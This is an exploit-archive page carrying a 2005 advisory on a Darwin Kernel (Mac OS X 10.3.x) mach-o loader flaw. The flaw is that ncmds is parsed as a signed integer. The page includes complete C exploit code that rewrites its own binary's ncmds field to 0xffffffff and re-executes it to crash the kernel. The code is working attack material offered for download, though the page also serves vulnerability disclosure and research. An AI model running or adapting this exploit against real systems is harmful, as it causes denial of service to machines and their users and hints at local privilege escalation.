what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

fm-nacho.c

fm-nacho.c
Posted Jan 22, 2005
Authored by nemo

Mac OSX versions 10.3.x with a Darwin Kernel equal to or below 7.7.0 are susceptible to a denial of service flaw that may allow for possible privilege escalation.

tags | exploit, denial of service, kernel
systems | apple
SHA-256 | 237a3224700bab126e3d93c2630bea4ae47220dea9a8923e14614ec3c58c12e9

fm-nacho.c

Change Mirror Download

_,'| _.-''``-...___..--';)
/_ \'. __..-' , ,--...--'''
<\ .`--''' ` /'
`-';' ; ; ;
__...--'' ___...--_..' .;.'
fL (,__....----''' (,..--'' felinemenace.org

Program: Darwin Kernel <= 7.7.0
Impact: DoS, Possible local privilege escalation.
Discovered: 8th January 2005 by nemo -( nemo @ felinemenace.org )-
Writeup and exploits:

1) Background

Numerous bugs exist in the Darwin Kernel used by Mac OSX 10.3
Some of the bugs we investigated exist due to lack of input validation in the mach-o
loader.

2) Description

In the file bsd/kern/mach_loader.c the mach-o header is parsed and for the most part
each field is trusted to be acceptable.

In the mach-o loader code (parse_machfile()) ncmds and offset are both declared as
signed integers, however the appropriate structs used to read from the file are
unsigned.
After a little investigation a DoS was quickly written to set ncmds to -1.

ncmds = header->ncmds;
while (ncmds--) {

The attached code will cause a denial of service on MacOSX <= 10.3.7

3) Notes
During our audit of the Darwin Kernel many bugs stood out, however we have not
had time to follow through on most of them. Something that caught our attention
was the misuse of the copyinstr() command. This function will not force a NULL
character to be appended to the string copied in, however it seems in many cases
the size passed to the function doesn't take this into account.
Unfortunately, as security goes, its all about who posts first.
http://www.immunitysec.com/downloads/nukido.pdf

4) Vendor status/notes/fixes/statements
Apple have been notified about this bug.

5) Exploit

//---------------------( fm-nacho.c )--------------------------
/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo@pulltheplug.org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/

#include <stdio.h>

int main(int ac, char **av)
{
FILE *me;
int rpl = 0xffffffff;
fpos_t pos = 0x10;
printf("-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n");
printf("-( nemo@pulltheplug.org )-\n\n");
printf("[+] Opening file for writing.\n");
if(!(me = fopen(*av,"r+"))) {
printf("[-] Error opening exe.\n");
exit(1);
}
printf("[+] Seeking to ncmds.\n");
if((fsetpos(me,&pos)) == -1) {
printf("[-] Error seeking to ncmds.\n");
exit(1);
}
printf("[+] Changing ncmds to 0x%x.\n",rpl);
if(fwrite(&rpl,4,1,me) < 1) {
printf("[-] Error writing to file.\n");
exit(1);
}
fclose(me);
printf("[+] Re-executing with modified mach-o header.\n");
sleep(5);
if(execv(*av,av) == -1 ) {
printf("[-] Error executing %s, please run manually.\n",*av);
exit(1);
}
exit(0); // hrm
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close